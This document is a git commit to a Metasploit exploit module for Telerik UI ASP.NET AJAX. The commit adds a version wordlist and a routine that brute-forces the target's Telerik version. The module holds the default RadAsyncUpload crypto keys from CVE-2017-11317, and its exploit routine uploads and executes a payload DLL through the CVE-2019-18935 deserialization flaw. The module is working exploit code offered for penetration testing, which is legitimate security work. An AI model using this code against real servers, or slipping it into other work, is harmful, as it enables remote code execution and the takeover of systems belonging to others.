Implement version enumeration and report CVE-2017-11317 for Telerik

This commit is contained in:
Spencer McIntyre
2020-10-07 10:26:30 -04:00
parent efc8485c86
commit adfc8f89c4
2 changed files with 155 additions and 20 deletions
@@ -0,0 +1,100 @@
# last updated 2020-10-07
# see: https://www.telerik.com/support/whats-new/aspnet-ajax/release-history
2020.3.915
2020.2.617
2020.2.512
2020.1.219
2020.1.114
2019.3.1023
2019.3.917
2019.2.514
2019.1.215
2019.1.115
2018.3.910
2018.2.710
2018.2.516
2018.1.117
2015.2.623
2014.1.403
2017.3.913
2017.2.711
2017.2.621
2017.2.503
2017.1.228
2017.1.118
2016.3.1027
2016.3.1018
2016.3.914
2016.2.607
2016.2.504
2016.1.225
2016.1.113
2015.3.1111
2015.3.930
2015.2.826
2015.2.729
2015.2.604
2015.1.225
2015.1.204
2014.3.1024
2014.2.724
2014.2.618
2014.1.225
2013.3.1324
2013.3.1114
2013.3.1015
2013.2.717
2013.2.611
2013.1.417
2013.1.403
2013.1.220
2012.3.1308
2012.3.1205
2012.3.1016
2012.2.912
2012.2.724
2012.2.607
2012.1.411
2012.1.215
2011.3.1305
2011.31115
2011.2915
2011.2712
2011.1519
2011.1413
2011.1315
2010.31317
2010.31215
2010.31109
2010.2929
2010.2826
2010.2713
2010.1519
2010.1415
2010.1309
2009.31314
2009.31208
2009.31103
2009.2826
2009.2701
2009.1527
2009.1402
2009.1311
2008.31314
2008.31125
2008.31105
2008.21001
2008.2826
2008.2723
2008.1619
2008.1515
2008.1415
2007.31425
2007.31314
2007.31218
2007.21107
2007.21010
2007.2918
2007.1626
2007.1521
2007.1423
@@ -15,6 +15,19 @@ class MetasploitModule < Msf::Exploit::Remote
# default keys per CVE-2017-11317
DEFAULT_RAU_SIGNING_KEY = 'PrivateKeyForHashOfUploadConfiguration'
DEFAULT_RAU_ENCRYPTION_KEY = 'PrivateKeyForEncryptionOfRadAsyncUploadConfiguration'
CVE_2017_11317_REFERENCES = [
['CVE', '2017-11317'], # Unrestricted File Upload via Weak Encryption
['URL', 'https://github.com/bao7uo/RAU_crypto'],
['URL', 'https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload'],
['URL', 'https://github.com/straightblast/UnRadAsyncUpload/wiki'],
]
CVE_2019_18935_REFERENCES = [
['CVE', '2019-18935'], # Remote Code Execution via Insecure Deserialization
['URL', 'https://github.com/noperator/CVE-2019-18935'],
['URL', 'https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization'],
['URL', 'https://codewhitesec.blogspot.com/2019/02/telerik-revisited.html'],
['URL', 'https://labs.bishopfox.com/tech-blog/cve-2019-18935-remote-code-execution-in-telerik-ui'],
]
def initialize(info={})
super(update_info(info,
@@ -25,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote
assembly DLL which is then loaded through the deserialization flaw. Uploading the file requires knowledge of the
cryptographic keys used by RAU. The default values used by this module are related to CVE-2017-11317, which once
patched randomizes these keys. It is also necessary to know the version of Telerik UI ASP.NET that is running.
This version number is in the format YYYY.#.### where YYYY is the year of the release (e.g. '2020.3.915').
This version number is in the format YYYY.#(.###)? where YYYY is the year of the release (e.g. '2020.3.915').
},
'Author' => [
'Spencer McIntyre', # Metasploit module
@@ -37,15 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote
'straightblast', # (@straight_blast) discovery of CVE-2017-11317
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2017-11317'], # weak RadAsyncUpload crypto
['CVE', '2019-18935'], # RadAsyncUpload .NET deserialization
['URL', 'https://github.com/bao7uo/RAU_crypto'],
['URL', 'https://github.com/noperator/CVE-2019-18935'],
['URL', 'https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization'],
['URL', 'https://codewhitesec.blogspot.com/2019/02/telerik-revisited.html'],
['URL', 'https://labs.bishopfox.com/tech-blog/cve-2019-18935-remote-code-execution-in-telerik-ui'],
],
'References' => CVE_2017_11317_REFERENCES + CVE_2019_18935_REFERENCES,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' => [['Windows', {}],],
@@ -54,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote
'SSL' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => '2019-12-09',
'DisclosureDate' => '2019-12-09', # Telerik article on CVE-2019-18935
'Notes' => {
'Stability' => [CRASH_SAFE,],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS,],
@@ -68,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote
OptString.new('DESTINATION', [ true, 'The destination folder for the upload', 'C:\\Windows\\Temp' ]),
OptString.new('RAU_SIGNING_KEY', [ true, 'The signing key for the RAU configuration data', DEFAULT_RAU_SIGNING_KEY ]),
OptString.new('RAU_ENCRYPTION_KEY', [ true, 'The encryption key for the RAU configuration data', DEFAULT_RAU_ENCRYPTION_KEY ]),
OptString.new('VERSION', [ true, 'The Telerik UI ASP.NET AJAX version' ]), # todo: do something to fetch this
OptString.new('VERSION', [ false, 'The Telerik UI ASP.NET AJAX version' ])
])
end
@@ -84,14 +89,27 @@ class MetasploitModule < Msf::Exploit::Remote
return CheckCode::Safe unless res&.code == 200
return CheckCode::Safe unless res.get_json_document&.dig('message') =~ /RadAsyncUpload handler is registered succesfully/
begin
upload_file('')
rescue Msf::Exploit::Failed
return CheckCode::Safe
if datastore['VERSION'].blank?
@version = enumerate_version
else
begin
upload_file('', datastore['VERSION'])
rescue Msf::Exploit::Failed
return CheckCode::Safe
end
@version = datastore['VERSION']
end
if datastore['RAU_SIGNING_KEY'] == DEFAULT_RAU_SIGNING_KEY && datastore['RAU_ENCRYPTION_KEY'] == DEFAULT_RAU_ENCRYPTION_KEY
print_status('Server is using default crypto keys and is vulnerable to CVE-2017-11317')
report_vuln({
host: rhost,
port: rport,
proto: 'tcp',
name: 'Unrestricted File Upload via Weak Encryption',
refs: CVE_2017_11317_REFERENCES.map { |ctx_id, ctx_val| SiteReference.new(ctx_id, ctx_val) }
})
end
# with custom errors enabled (which is the default), it's not possible to test for the serialization flaw without triggering it
@@ -99,7 +117,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
def exploit
upload_file(generate_payload_dll({ mixed_mode: true }))
upload_file(generate_payload_dll({ mixed_mode: true }), @version)
execute_payload
end
@@ -120,12 +138,11 @@ class MetasploitModule < Msf::Exploit::Remote
fail_with(Failure::UnexpectedReply, 'Failed to execute the payload') if res&.code == 200
end
def upload_file(file_contents)
def upload_file(file_contents, version)
target_folder = encrypt('')
temp_target_folder = encrypt(datastore['DESTINATION'].encode('UTF-16LE'))
version = datastore['VERSION']
if (version =~ /(\d{4})\.\d+.\d+/) && $1.to_i > 2016
# signing is only necessary for versions >= 2017.1.118
# signing is only necessary for versions >= 2017.1.118 (versions that don't match the regex don't require signing)
target_folder << sign(target_folder)
temp_target_folder << sign(temp_target_folder)
end
@@ -180,6 +197,24 @@ class MetasploitModule < Msf::Exploit::Remote
post_data
end
def enumerate_version
print_status('Enumerating the Telerik UI ASP.NET AJAX version, this will fail if the keys are incorrect')
File.open(File.join(Msf::Config.data_directory, 'wordlists', 'telerik_ui_asp_net_ajax_versions.txt'), 'rb').each_line do |version|
version.strip!
next if version.start_with?('#')
vprint_status("Checking version: #{version}")
begin
upload_file('', version)
rescue Msf::Exploit::Failed
next
end
print_good("The Telerik UI ASP.NET AJAX version has been identified as: #{version}")
return version
end
end
#
# Crypto Functions
#